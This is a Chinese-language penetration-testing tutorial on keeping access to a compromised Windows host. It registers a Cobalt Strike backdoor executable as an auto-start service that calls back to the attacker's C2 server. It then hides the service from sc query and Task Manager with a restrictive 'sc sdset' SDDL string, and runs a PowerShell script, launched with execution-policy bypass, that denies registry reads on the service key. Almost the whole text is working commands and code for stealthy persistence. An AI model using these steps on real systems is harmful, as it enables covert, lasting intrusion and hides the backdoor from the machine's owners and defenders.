Windows权限维持技巧之利用安全描述符隐藏后门服务
0x01 前言
在内网渗透的时候为了防止目标关机重启等问题导致权限丢失,会采用将后门程序注册为自启动的服务(windows的服务会在开机时自动启动),让木马跟随服务的启动来回连我们的C2服务器,而在将木马注册为服务时,可以在注册表中查看到木马的文件路径,下面将通过安全描述符(SSDL)来隐藏注册表中的值。
0x02 测试
这里用cs生成Windows service exe

使用sc命令 注册服务
sc create test binPath= C:\Users\PunchMan\Desktop\testone.exe start= auto type= own displayname= test

启动服务
sc start test

使用sc qc test命令可以直接查看到服务文件的路径

通过注册表也可以查看到服务相关信息
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\服务名

通过修改SDDL隐藏后门服务
sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用sc query test 出现拒绝访问,任务管理器中也看不到了

但是通过注册表和sc qc test还是可以看到后门服务

通过脚本修改注册表使其不可见
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
};Server-Sddl-Change 'test';
执行脚本
powershell.exe -exec bypass C:\Users\PunchMan\Desktop\test.ps

重启电脑

参考文章:https://mp.weixin.qq.com/s/zAQOfdbxtDNLha2fdSjWyw
|